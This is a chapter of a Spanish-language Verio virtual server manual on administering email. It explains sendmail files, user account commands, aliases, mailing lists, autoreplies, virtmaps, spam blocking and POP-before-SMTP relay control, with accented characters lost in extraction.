El Servidor Virtual usa como software de SMTP el sendmail, un programa basado en UNIX que direcciona gran parte del correo electrnico de Internet del mundo. Los programas basados en UNIX son sensibles a maysculas / minsculas, por lo tanto, recuerde que todos los nombres y comandos deben estar en minsculas, a menos que se especifique lo contrario. Archivo de configuracin ~/etc/sendmail.cf Descripcin del archivo Este es el archivo de configuracin principal del sendmail. sendmail.cf lista las ubicaciones e tems de configuracin que usa el programa Sendmail. No altere este archivo a menos que sea un administrador de correo electrnico experimentado. Este archivo contiene la lista de alias (o direcciones de reenvo) que se usan para distribuir los mensajes de correo entrantes. Esta es la versin binaria del archivo ~/etc/aliases que usa sendmail. No edite manualmente este archivo. Para reconstruir ~/etc/aliases.db, edite ~/etc/aliases y ejecute vnewaliases. Este archivo contiene los virtmaps usados por sendmail cuando se tiene ms de un nombre de dominio relacionado con un Servidor Virtual. Esta es la versin binaria del archivo ~/etc/virtmaps que usa sendmail. No edite manualmente este archivo. Para reconstruir ~/etc/virtmaps.db, edite ~/etc/virtmaps y ejecute vnewvirtmaps. Este archivo contiene las direcciones de correo electrnico o nombres de host de Internet de usuarios abusivos cuyos correos deben rechazarse si se envan al sistema. El archivo ~/etc/spammers le permite rechazar selectivamente los correos basura a lo cual se lo denomina SPAM. Esta es la versin binaria del archivo ~/etc/spammers que usa sendmail. No edite manualmente este archivo. Para reconstruir ~/etc/spammers.db, edite ~/etc/spammers y ejecute vnewspammers. Este es el archivo binario usado por sendmail como base de datos de direcciones IP de los usuarios autenticados. No edite manualmente este archivo. Puede usar vsmtprelay para manipular los contenidos de este archivo.

~/etc/aliases

~/etc/aliases.db

~/etc/virtmaps

~/etc/virtmaps.db

~/etc/spammers

~/etc/spammers.db

~/etc/relayers.db

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

77

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Archivo de configuracin ~/var/log/messages

Descripcin del archivo Este es el archivo de registro maestro. Este, registra las transacciones que se producen en el Servidor Virtual. Se puede usar este archivo como herramienta de diagnstico para rastrear problemas en el servidor. La relacin del archivo ~/var/log/messages con el sistema de manejo de correo electrnico se detalla ms adelante en este captulo. Cuando el sistema de correo electrnico del Servidor Virtual recibe correos entrantes, se almacenan en este directorio. A medida que llegan nuevos mensajes, se adjuntan a un archivo en este directorio. El archivo recibe el nombre del destinatario del mensaje (sobre la base de los nombres de las cuentas). El directorio ~/var/spool/mqueue es una ubicacin temporaria para alojar correos entrantes o salientes con problemas de entrega. El sistema de correo del Servidor Virtual est programado para limpiar esta cola en forma peridica.

~/var/mail

~/var/spool/mqueue

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

78

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comandos y utilitarios para administrar el correo electrnico


Estos son los comandos y utilitarios para administrar las cuentas de correo electrnico. El Nombre designa un comando o un utilitario. El Tipo identifica si el nombre pertenece a un comando (que se ejecuta desde un la lnea de comandos va Telnet) o a un utilitario como iManager (que se instala y ejecuta desde un navegador). Nombre vadduser Tipo Comando Descripcin vadduser crea nuevas cuentas de usuarios para correo y FTP. Si el usuario ya existe, vadduser modifica la cuenta. vrmuser elimina el usuario especificado. vlistuser lista todos los usuarios vlidos y sus servicios (correo, FTP) y capacidades. vpasswd cambia la clave de un usuario. El utilitario iManager se ejecuta en el navegador web y permite administrar cuentas de usuario, alias y claves.

vrmuser vlistuser vpasswd iManager

Comando Comando Comando Utilitario

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

79

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Creacin de casillas de correo electrnico


Vadduser es el comando que se usa para crear cuentas de usuario en el Servidor Virtual. Las cuentas de usuario pueden ser de correo y/o FTP. Tambin se puede usar vadduser para modificar las cuentas de los usuarios despus de crearlas. En resumen, se puede usar vadduser: 1. 2. Para crear una cuenta de usuario. Para modificar una cuenta existente.

Creacin de cuentas de correo electrnico


1.

Va Telnet y desde la lnea de comandos, escriba vadduser. Esta accin muestra una serie de campos a completar comenzando con el siguiente ejemplo de comando:

% vadduser Por favor responda las preguntas a continuacin. Cuando este disponible una respuesta predeterminada, sta aparecer entre corchetes a continuacin de la pregunta. Por ejemplo, la pregunta: Cul es su color favorito? [azul]: tiene la respuesta predeterminada azul. Simplemente acptela (sin tener que escribir) presionando la tecla Enter, o escriba su respuesta y luego presione <Enter>. Use la tecla <Backspace> para borrar y corregir errores en las respuestas, antes de presionar <Enter>. En general, una vez que se presiona <Enter> se pasa a la siguiente pregunta. Una vez que respondi todas las preguntas, tendr la posibilidad de modificar sus opciones antes de que se actualicen los archivos. Presione <Enter> para continuar:
2. 3. 4. 5. 6. Escriba el nombre de usuario. Use un mximo de hasta 8 caracteres, sin utilizar . ni :. Escriba la clave del usuario de correo electrnico o de FTP. Vuelva a escribir la nueva clave. Escriba el nombre completo del usuario y despus presione Enter. Use 80 caracteres como mximo, sin utilizar . ni :. Seleccione los servicios que la cuenta requiera. Las opciones predeterminadas son ambas: FTP y correo electrnico. O escriba el nombre del servicio (FTP o correo electrnico) que desee deseleccionar para la cuenta. o o FTP (File Transfer Protocol) para subir y/o bajar archivos Servicios de correo electrnico que incluyen POP, IMAP y SMTP

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

80

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: Si a la cuenta del usuario se accediera Va IMAP, esta debe estar habilitada con el servicio de FTP. 7. 8. 9. Ingrese una respuesta afirmativa o negativa a la pregunta Quiere asignarle un Lmite de espacio determinado a la cuenta? (quotas) Ingrese la cantidad de MB para esta cuenta (ingrese 0 es sin lmite). Ingrese una respuesta numrica a la siguiente pregunta: Dnde quiere colocar el directorio raz del usuario? Puede colocarlo en una de las cuatro opciones que se le presentan o bien en la ubicacin que desee. La siguiente tabla describe brevemente cada ubicacin. Ejemplo /usr/home/nombreusuario /usr/local/etc/httpd/htdocs/nom breusuario /usr/local/etc/httpd/htdocs/vho sts/nombreusuario /ftp/pub/ nombreusuario /usr/local/etc/httpd/htdocs/vho sts/algn_directorio/ nombreusuario

Descripcin Directorio raz para una cuenta de correo electrnico Directorio de la cuenta alojada en el web principal Directorio de la cuenta alojada de forma virtual Directorio raz para FTP annimo Otra ubicacin que usted elija

o o o

Ingrese "1" si la opcin elegida es un directorio raz para una cuenta de correo electrnico. Ingrese "2" si la opcin elegida es un directorio de cuenta alojada en el web principal. Ingrese "3" si la opcin elegida es una cuenta alojada de forma virtual. Recomendamos usar esta opcin por dos motivos. El primero es que FrontPage 2000 as lo exige. El segundo es que el directorio vhosts es una ubicacin ordenada donde pueden residir cada uno de sus directorios de usuarios subalojados. Cada uno est bien separado, se distingue de los dems y es seguro. Ingrese "4" si la opcin elegida es un directorio raz para FTP annimo. Ingrese la ruta que desee.

o o

Nota: La ejecucin del script vadduser es directa, con una excepcin: los servicios de cuenta (FTP y correo electrnico). Estos servicios se agregan a la cuenta de cada usuario en forma predeterminada. Si usted quiere que el usuario tenga privilegios tanto de FTP como de correo electrnico, presione Enter cuando se le pide aceptar las configuraciones predeterminadas. Para que el usuario tenga slo privilegios FTP, deseleccione los privilegios de correo electrnico ingresando mail. Para que el usuario tenga slo privilegios de correo, deseleccione los privilegios FTP ingresando ftp. Si necesita agregar un servicio que no figura en la lista entre corchetes ([ ]), escriba el servicio (correo electrnico o FTP) y presione Enter. Por ejemplo, si Mara Prez tiene el nombre de cuenta mara y el nombre de dominio asociado a su Servidor Virtual es su_empresa.com, entonces la direccin de correo electrnico de Mara ser: maria@su_empresa.com. Nota: (quota) El Lmite de espacio Va FTP determina lo que puede consumir todo el rbol del directorio raz de un usuario y sus archivos. Este lmite es solamente es eficaz cuando se usa el FTP para subir los archivos. El Lmite del correo determina el espacio que puede consumir el archivo de correo de un usuario bajo ~/usr/mail. Cada uno se expresa como un entero decimal de megabytes (MB) de espacio en disco.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

81

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cambio de clave de casilla de correo electrnico


El administrador del Servidor Virtual puede cambiar las claves de los usuarios en cualquier momento. Sin embargo, en un sistema UNIX no es nada fcil recuperar las claves. Si un usuario olvida su clave, hay que crear una nueva. Cambio de clave de casilla de correo electrnico 1. Desde la lnea de comandos ingrese lo siguiente (donde nombreusuario es el nombre de la cuenta):

% vpasswd nombreusuario
2. Se le pedir que ingrese la nueva clave dos veces.

Nota: Si el software POP/IMAP de los usuarios es Eudora, el paquete incluye Poppass, una opcin de cambio de clave. Los usuarios de Eudora pueden elegir la opcin del men Cambiar Clave para cambiar sus propias claves sin la intervencin del administrador del sistema. Recomiende a los usuarios que cambien las claves con frecuencia para atenuar la probabilidad de acceso al Servidor Virtual por parte de usuarios malintencionados. Una buena clave tiene las siguientes caractersticas: Longitud: los sistemas UNIX tradicionales reconocen y usan los primeros ocho caracteres de la clave. Complejidad: en UNIX las claves son sensibles a maysculas/minsculas y pueden contener caracteres poco frecuentes. Indescifrable: nunca use una clave que incluya informacin personal sobre usted o su familia. Ejemplo: "De76sAf4" es una buena clave porque tiene maysculas y minsculas, nmeros, no tiene informacin personal y no constituye ninguna palabra. Esto la hace ms segura.

Administracin de cuentas de correo electrnico


Adems de agregar usuarios, usted puede editar las cuentas existentes usando vadduser. Eliminacin del servicio de correo electrnico de una cuenta existente sin eliminar el usuario 1. 2. 3. Desde la lnea de comandos, ingrese vadduser. Esta accin inicia el programa vadduser que lo conduce por una serie de preguntas. En la opcin 4, Servicios de Cuentas, escriba e-mail para quitar el servicio de correo o escriba ftp para eliminar los servicios FTP. Contine respondiendo al resto de las preguntas.

Eliminacin de una cuenta de correo electrnico 1. 2. Desde la lnea de comandos, ingrese vrmuser. Se iniciar el programa vrmuser que lo conducir por una serie de preguntas. Ingrese el nombre de cuenta que va a borrar. Se eliminar toda la cuenta menos el directorio raz y los contenidos del usuario (si lo desea, puede eliminarlos manualmente). Si la cuenta slo se usa para recibir correos, considere eliminar la cuenta por completo cuando elimina la casilla.

3.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

82

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Listado de casillas de correo electrnico Desde la lnea de comandos, ingrese vlistuser. Ver un informe con la siguiente informacin de cuenta por usuario: Nombre de cuenta Propietario de cuenta Directorio raz Lista de servicios y lmites de espacio

Nota: La ausencia de un guin ("-") en la columna capacidad correo indica que la cuenta tiene una casilla de correo (est habilitada para recibir correos entrantes).

Configuracin del software de correo electrnico


Existen muchos programas de correo electrnico. La descripcin de cmo debe configurarse cada uno para recibir correos escapa al alcance de este captulo. Estas son las tres cosas bsicas que el usuario debe configurar para recibir correos provenientes del Servidor Virtual: 1. Direccin de correo electrnico: es el nombre de usuario creado con vadduser ms el nombre de dominio. Por ejemplo: bob@su_empresa.com 2. 3. Servidor de correo entrante: es el nombre de dominio o la direccin IP del Servidor Virtual. Servidor de correo saliente: es lo mismo que el servidor de correo entrante.

Si desea informacin adicional sobre cmo configurar programas de correo, consulte el Paso 11 en la seccin Cmo comenzar en 13 pasos fciles.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

83

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Alias de cuentas de correo


Utilizando el sistema de correo electrnico del Servidor Virtual, se pueden crear alias o direcciones de reenvo. Un alias de correo toma un mensaje entrante e inmediatamente lo reenva a uno o ms destinatarios. Se pueden direccionar muchos alias a un solo destinatario o un solo alias a muchos destinatarios. Los alias se usan como sustitutos de direcciones largas o difciles de recordar. Tambin pueden usarse para establecer un conjunto de direcciones genricas como webmaster@su_empresa.com o info@su_empresa.com. Si usted establece un conjunto de alias como el siguiente, da una imagen de profesionalismo (incluso si cada alias est direccionado al mismo destinatario). ventas@su_empresa.com servicio@su_empresa.com empleos@su_empresa.com

Como un solo alias puede direccionarse a mltiples destinatarios, se pueden usar alias para crear simples listas de correo o carteleras de anuncios direccionadas a la persona correspondiente. As, la direccin de alias se usa como direccin de difusin para el grupo: todos@su_empresa.com marketing@su_empresa.com ingenieria@su_empresa.com

Si usted tiene un archivo de alias grande, agregue comentarios para evitar la confusin. Las lneas que empiezan con el carcter "#" se consideran comentarios y se pasan por alto. Para crear un alias slo hay que hacer dos cosas: 1. 2. Edite el archivo ~/etc/aliases y agregue el alias. Ejecute vnewaliases desde la lnea de comandos para generar el archivo aliases.db.

Creacin de un alias para un usuario local 1. Edite el archivo ~/etc/aliases y agregue la siguiente lnea:

alias: destinatario
Nota: reemplace alias por el nombre de alias y destinatario por un simple nombre de usuario. 2. 3. Por ejemplo:

webmaster: ted
Desde la lnea de comandos, ingrese vnewaliases. Esta accin genera el archivo ~/etc/aliases.db para activar el alias.

Creacin de un alias para una direccin externa 1. 2. Edite el archivo ~/etc/aliases. Escriba:

alias: destinatario
Reemplace alias por el nombre de alias y destinatario por una direccin de correo completa. Por ejemplo:

ventas: tony@hotshotmail.com

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

84

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

3.

Desde la lnea de comandos, ingrese vnewaliases. Esta accin genera el archivo ~/etc/aliases.db para activar el alias.

Nota: No se preocupe si hay mltiples alias o un alias direccionado hacia otro alias. Sendmail realiza mltiples bsquedas para determinar el destinatario. Cada alias debe comenzar al inicio de la lnea, porque las lneas que empiezan con un espacio o una tabulacin se consideran lneas de continuacin. Los dos puntos que separan el alias del destinatario deben estar en la misma lnea que el alias y pueden tener espacios o tabulaciones adelante o atrs.

Creacin de listas de correo


Usando el archivo ~/etc/aliases, puede crear listas de correo con muchos destinatarios. El objetivo de estas listas es ahorrar tiempo. Se puede crear una lista simple o una lista ms sofisticada que se pueda editar en forma independiente del archivo de alias. La sentencia :include: hace que los contenidos de un archivo se lean o incluyan en el archivo aliases. Esto permite guardar la lista de destinatarios en un archivo externo donde pueda manipularse independientemente del archivo aliases. Creacin de una lista de correo Edite el archivo ~/etc/aliases e ingrese lo siguiente (donde "..." significa que la secuencia puede continuar todo lo que sea necesario):

alias: destinatario1, destinatario2, destinatario3, destinatario4, ...


Creacin de una lista de correo con :include: 1. 2. Edite el archivo ~/etc/aliases y escriba:

alias: :include:/ruta
/ruta es el nombre virtual del archivo. Por ejemplo:

subscriptores: :include:/etc/subscriptores.list
Nota: Como los contenidos de los archivos incluidos no se guardan en la base de datos ~/etc/aliases.db, no es necesario ejecutar el comando vnewaliases para activar los cambios de edicin. El archivo a que hace referencia :include: es un archivo de texto que contiene una lista de direcciones de destinatarios. Cada lnea es una lista de una o ms direcciones de destinatarios. Si en una lista aparecen varias direcciones, deben estar separadas por comas. Como en el archivo ~/etc/aliases, las lneas que comienzan con el carcter "#" se consideran comentarios y se pasan por alto, como lneas en blanco. Si desea ms informacin sobre software para crear listas automatizadas de correo, consulte Majordomo (http://www.majordomo.com). Majordomo funciona junto con el archivo ~/etc/aliases para automatizar las altas y bajas de destinatarios utilizando la sentencia :include:.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

85

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Creacin de mensajes de auto-respuesta


Los programas de auto-respuesta envan automticamente una respuesta predeterminada a todo aquel que haya enviado un correo a una direccin especfica y sirven para difundir informacin comnmente solicitada, tal como una lista de productos o un documento con las preguntas ms frecuentes sobre un tema determinado. Estos programas confirman la entrega del mensaje. Los correos enviados a una direccin importante pueden ser primero direccionados a travs de un programa de auto-respuesta para acusar recibo del mensaje del cliente. Instalacin de software de auto-respuesta Desde la lnea de comandos, ingrese:

% cp /usr/local/contrib/autoreply ~/usr/bin/autoreply % chmod 755 ~/usr/bin/autoreply


Creacin de direcciones de auto-respuesta Edite el archivo ~/etc/aliases; escriba lo siguiente (todo en la misma lnea):

alias: receptor, "|/usr/bin/autoreply -f nombre -m mensaje -a direccin"


alias receptor | nombre mensaje Reemplace alias por el nombre del mensaje auto-respuesta, por ejemplo, info. Reemplace la direccin del destinatario que recibe copias de los mensajes entrantes (en forma similar a un alias normal). Pasa el mensaje entrante al programa autoreply y devuelve el texto de un mensaje predeterminado como respuesta. Reemplace nombre por el nombre que desea usar en el casillero De: del mensaje de auto-respuesta. Contiene la ruta del texto del mensaje de auto-respuesta. Si no se especifica la opcin m, el texto de la respuesta se toma del archivo llamado .autoreply en el directorio raz del Servidor Virtual. La ruta es su directorio raz en el sistema (~) que se ha convertido en el nuevo directorio raz (/). La opcin -a especifica un usuario al cual se puede dar una auto-respuesta. El usuario especificado debe ser el mismo que el usuario (alias) configurado para la auto-respuesta.

Ejemplo:

info: bob@su_empresa.com, "|/usr/bin/autoreply -f info-reply -a info"


Nota: El programa autoreply busca en las lneas del encabezado "Para:" y "CC:" el texto especificado por el valor de la direccin. Autoreply responde al mensaje si se encuentra direccin, de lo contrario, pasa por alto el mensaje.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

86

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Personalizacin del texto de auto-respuesta


Puede personalizar el contenido de las lneas del encabezado y las lneas del cuerpo del mensaje de auto-respuesta. Cuando prepara el texto, coloque las lneas personalizadas del encabezado (Asunto o Responder a) en el inicio del archivo, una despus de la otra. Seprelas del cuerpo del mensaje dejando una sola lnea en blanco. La primera lnea en blanco indica el comienzo del cuerpo del mensaje. Elimine las lneas en blanco que puedan hacer que una lnea del encabezado se considere parte del cuerpo del mensaje. Ejemplo:

Respuesta a: ventas-respuesta@su_empresa.com Asunto: Su pedido de informacin Gracias por su inters en <empresa>. Agradecemos su mensaje y ...

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

87

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Creacin de Virtmaps
Los virtmaps son similares a los alias pero adaptados a los nombres de dominios virtuales. Los Servidores Virtuales con uno o ms nombres de dominios asociados adems de su nombre de dominio primario utilizan los virtmaps para organizar sus alias. Los alias no incorporan informacin sobre los nombre de dominios de una direccin de correo electrnico, sino slo sobre la parte del nombre de usuario. Por lo tanto, puede haber conflictos cuando dos dominios virtuales tienen direcciones de correo con nombres de usuario idnticos, por ejemplo, webmaster. Los virtmaps sirven para evitar estos conflictos asegurando que los mensajes enviados a webmaster@dominio1.com y a webmaster@dominio2.com no entren en conflicto, a pesar de que ambos nombres de dominio (dominio1.com y dominio2.com) estn asociados con el mismo Servidor Virtual. Creacin de virtmaps 1. Desde el archivo ~/etc/virtmaps del Servidor Virtual, escriba:

direccin destinatario
donde direccin se reemplaza por la direccin completa a la que se direccionan los mensajes y destinatario se reemplaza por la direccin del destinatario. 2. Desde la lnea de comandos, ingrese vnewvirtmaps. Esta accin renueva el archivo ~/etc/virtmaps.db para activar los cambios.

Ejemplo de archivo virtmaps En el siguiente ejemplo de un archivo virtmaps las direcciones se agrupan por nombre de dominio. La primera direccin en el grupo abc.com redirecciona los correos a un usuario externo y la segunda los direcciona a un usuario local.

#abc.com bob@abc.com webmaster@abc.com #xyz.com bob@xyz.com webmaster@xyz.com bob john bob@aol.com carol

Nota: A diferencia del archivo ~/etc/aliases , la direccin y el destinatario en el archivo ~/etc/virtmaps no se separan por dos puntos.

Uso del Comodn


Se puede redireccionar como si fuera un comodn cualquier direccin en un nombre de dominio que no est mencionada especficamente a una sola cuenta. Creacin 1. Desde el archivo ~/etc/virtmaps del Servidor Virtual, escriba:

nombrehost destinatario
donde nombrehost se reemplaza por el nombre del dominio para el cual usted desea crear el comodn y destinatario se reemplaza por la direccin de destinatario.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

88

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

2.

Desde la lnea de comandos, ingrese vnewvirtmaps. Esta accin renueva el archivo ~/etc/virtmaps.db para que se activen los cambios.

Ejemplo de un archivo virtmaps

#abc.com bob@abc.com webmaster@abc.com abc.com #xyz.com bob@xyz.com webmaster@xyz.com xyz.com bob john bob bob@aol.com carol carol

Nota: Esta modalidad se puede colocar en cualquier lugar del archivo ~/etc/virtmaps. Sin embargo, debe colocarlas al final de la seccin para enfatizar su carcter de destinatario por defecto (si no corresponde ninguna de las conexiones anteriores usar esta ltima).

Combinacin de virtmaps y alias


Cuando llega un nuevo correo primero se procesan los virtmaps, antes que los alias. Una vez que el proceso de virtmaps est completo y se identific un destinatario local, se verifica en la base de datos de alias para ver si el destinatario existe como un alias. En caso afirmativo, el mensaje se direcciona al alias. En caso contrario, el destinatario debe existir como un nombre de usuario y se entrega el mensaje en su casilla de correo.

Diferencias entre virtmaps y alias


Una diferencia entre el archivo ~/etc/virtmaps y el archivo ~/etc/aliases es que en los virtmaps no se puede usar mltiples destinatarios. Otra diferencia relacionada con la primera es que la parte de la derecha de una lnea del archivo ~/etc/virtmaps debe consistir nicamente en una direccin de destinatario y no debe contener ninguna de las caractersticas ms avanzadas. En el archivo virtmaps no pueden usarse elementos como sentencias :include:, entrega a un archivo (indicada por el carcter / ) o entrega a un programa (indicado por el carcter |). Tal vez la diferencia ms importante entre los virtmaps y los alias es que sendmail realiza slo una bsqueda en la base de datos del archivo ~/etc/virtmaps.db. El efecto es que la parte de la derecha de una lnea ~/etc/virtmaps (la del destinatario) no debe depender de la parte izquierda (la direccin) ni de ninguna otra lnea. El programa sendmail no busca ms de un vez para rastrear a los receptores (a diferencia del procesamiento de alias, donde sendmail realiza repetidas bsquedas de alias hasta resolver totalmente la direccin del destinatario).

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

89

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Resumen de virtmaps
1. 2. 3. 4. Si usted tiene un solo dominio que direcciona a su Servidor Virtual, el uso del archivo virtmaps no es necesario. Las direcciones de correo de varios dominios se guardan en el archivo ~/etc/virtmaps. Despus de agregar una direccin al archivo virtmaps, vuelva a generar el archivo virtmaps.db con el comando vnewvirtmaps. Su formato es sencillo:

direccin
Por ejemplo:

destinatario john

webmaster@abc.com
5.

En el archivo ~/etc/virtmaps no deben existir los : y debe haber solo un usuario a la derecha. Si se necesitan varios destinatarios a la derecha, se debe especificar el nombre de un alias del lado derecho y luego crear el alias en el archivo aliases con los destinatarios. Los comodines para un dominio deben ir al final.

6.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

90

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Correos comerciales no solicitados


Si bien la comercializacin de la Internet trajo muchos beneficios, entre sus efectos negativos puede citarse la proliferacin de correos no solicitados (Unsolicited Commercial E-mail / UCE), comnmente llamados spam. El Servidor Virtual controla estos correos de la siguiente manera: Bloquea el spam para que no se enven a los usuarios del Servidor Virtual Bloquea el spam para que no se enven a travs del Servidor Virtual (retransmisin).

Bloqueo de spam entrante


Defender el Servidor Virtual del spam no es tarea sencilla. Un mtodo para bloquearlo es ingresar la direccin del remitente del spam en el archivo ~/etc/spammers del Servidor Virtual. Bloqueo de mensajes provenientes de ciertos dominios 1. Desde el archivo ~/etc/spammers del Servidor Virtual, escriba:

nombreusuario@dominio
o:

dominio
donde nombreusuario es el nombre de usuario del emisor y dominio es el nombre de dominio o host dentro de la direccin del emisor. 2. Desde la lnea de comandos, ingrese vnewspammers. Esta accin reconstruye el archivo ~/etc/spammers.db para que se activen los cambios.

Mantenimiento del archivo ~/etc/spammers


Al elegir los valores que deber colocar en el archivo ~/etc/spammers, usted debe entender el diseo y contenido de los encabezados en un mensaje no solicitado. Entender el diseo de los mensajes de correo (tal como los lee su Servidor Virtual) le permite ubicar y reconocer el remitente SMTP. Su Servidor Virtual coloca la direccin del remitente SMTP en la lnea del encabezado que comienza por From (la palabra From seguida de un blanco). Observe las lneas de encabezado from y From: no necesariamente tienen que ser las mismas, aunque a menudo lo son. La lnea del encabezado From: es parte del contenido del mensaje, no parte del SMTP. Si existe una discrepancia entre la direccin from y From:, use la direccin from como valor para incluir en el archivo ~/etc/spammers. Este bloqueo es til aunque no a toda prueba. Como el remitente puede ser (y a menudo es) falsificado por los proveedores de spam, es posible eludir el bloqueo. Sin embargo, muchos mensajes se desvan, de modo que el esfuerzo no es en vano, siempre que el archivo ~/etc/spammers se mantenga actualizado.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

91

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Bloqueo de retransmisin POP(IMAP) antes que SMTP


El abuso de la retransmisin SMTP no autorizada es una tendencia creciente, en general usada por personas o grupos que envan grandes cantidades de correos no solicitados. Un incidente de retransmisin SMTP se produce cuando se usa un servidor SMTP para entregar un mensaje que no est destinado a ninguno de sus usuarios locales. El servidor SMTP pasa el mensaje a otro servidor SMTP, que a su vez lo direcciona al destinatario, y por eso se usa el trmino retransmisin (relay). La retransmisin SMTP permite introducir mensajes legtimos en el sistema de correo de computadoras cliente que no ofrecen todas las capacidades de servidor SMTP (como muchas PCs que ejecutan Windows, o computadoras Macintosh). Los servidores SMTP desprotegidos o abiertos pueden usarse como retransmisin para campaas no solicitadas. (Hay personas inescrupulosas que usan un servidor SMTP desprotegido y le envan una nica copia de un mensaje y luego le piden que retransmita el mensaje a los destinatarios. Muchos servidores se caen por la tremenda carga de correos rebotados de direcciones no vlidas, a lo que se suman las quejas de los que reciben los correos no solicitados.) En la configuracin predeterminada, el servidor SMTP del servidor Virtual se cierra a todos los usuarios a menos que tengan un nombre de usuario y clave vlidos. Esto impide la retransmisin y protege los recursos del Servidor Virtual. Para hacerlo, el Servidor Virtual usa una tcnica llamada POP antes que SMTP (como tambin se aplica al servidor IMAP, tambin podra llamarse IMAP antes que SMTP) para limitar la retransmisin a los usuarios que previamente accedieron al servidor POP (o IMAP) con su clave. El bloqueo de retransmisin POP antes que SMTP funciona cada vez que alguien ingresa exitosamente un nombre de usuario y clave correctos al servidor POP. El servidor POP registra la direccin de IP de la computadora remota para uso posterior por parte del servidor SMTP. Nota: Debido al bloqueo de retransmisin POP antes que SMTP, sus usuarios deben verificar su correo (accediendo ya sea al servidor POP o al servidor IMAP) antes de poder enviar mensajes. De lo contrario, el servidor SMTP no va a aceptar sus mensajes salientes. El bloqueo de retransmisin POP antes que SMTP tiene un efecto superior ya que los usuarios que tienen una direccin IP dinmicamente asignada cada vez que se conectan a Internet. Configuracin de los clientes de correo electrnico 1. Desde verificar correo cada x minutos, configure la cantidad de minutos en que desea que su lector de correo se conecte, por ejemplo, 15. La opcin verificar correo primero exige la autenticacin del cliente de correo (en este caso cada 15 minutos), antes de enviar. Los programas de correo ms nuevos tienen opciones de configuracin POP antes que SMTP. Elija la opcin autenticar antes de enviar.

2.

Administracin de POP antes que SMTP


En la configuracin predeterminada, el Servidor Virtual nunca elimina las direcciones de la base de datos. Cuando una direccin se registra, siempre sigue siendo vlida. Los usuarios que se contactan con su servidor SMTP desde su direccin IP pueden usar el servidor como un host de retransmisin SMTP. El comando vsmtprelay le permite administrar las direcciones IP en el archivo ~/etc/relayers.db. A continuacin se muestran algunos ejemplos del uso de vsmtprelay:

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

92

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Listado de todas las direcciones de IP registradas Desde la lnea de comandos del Servidor Virtual, escriba:

% vsmtprelay list
Los resultados se parecen a este ejemplo :

# timestamp (UTC): Tue Sep 22 22:15:27 1998 10.11.12.13 906502527


El ejemplo muestra la direccin IP registrada (10.11.12.13), la indicacin de hora correspondiente (906502527) y una lnea de comentario que muestra la indicacin de hora en forma decodificada el da y la hora en Hora Universal Coordinada (UTC). Listado de todas las direcciones de ms de 10 minutos en la base de datos Desde la lnea de comandos del Servidor Virtual, escriba:

% vsmtprelay list 10
Listado de todas las direcciones de la base de datos, incluyendo las que tienen indicacin de hora para el futuro Desde la lnea de comandos del Servidor Virtual, escriba:

% vsmtprelay dump
Edicin del contenido de la base de datos Desde la lnea de comandos del Servidor Virtual, escriba:

% vsmtprelay dump > ~/etc/relayers


Nota: Los contenidos de la base de datos se colocan en el archivo ~/etc/relayers. Usted puede editar manualmente (agregar, cambiar o eliminar entradas) el archivo ~/etc/relayers.db. Reconstruccin de la base de datos a partir de la copia editada Desde la lnea de comandos del Servidor Virtual, escriba:

% /usr/sbin/makemap hash ~/etc/relayers.db < ~/etc/relayers


Vencimiento de todas las direcciones de la base de datos Desde la lnea de comandos del Servidor Virtual, escriba:

% vsmtprelay expire
Vencimiento de las direcciones de ms de 60 minutos en la base de datos Desde la lnea de comandos del Servidor Virtual, escriba:

% vsmtprelay expire 60

Utilizacin del comando crontab para manejar relayers.db


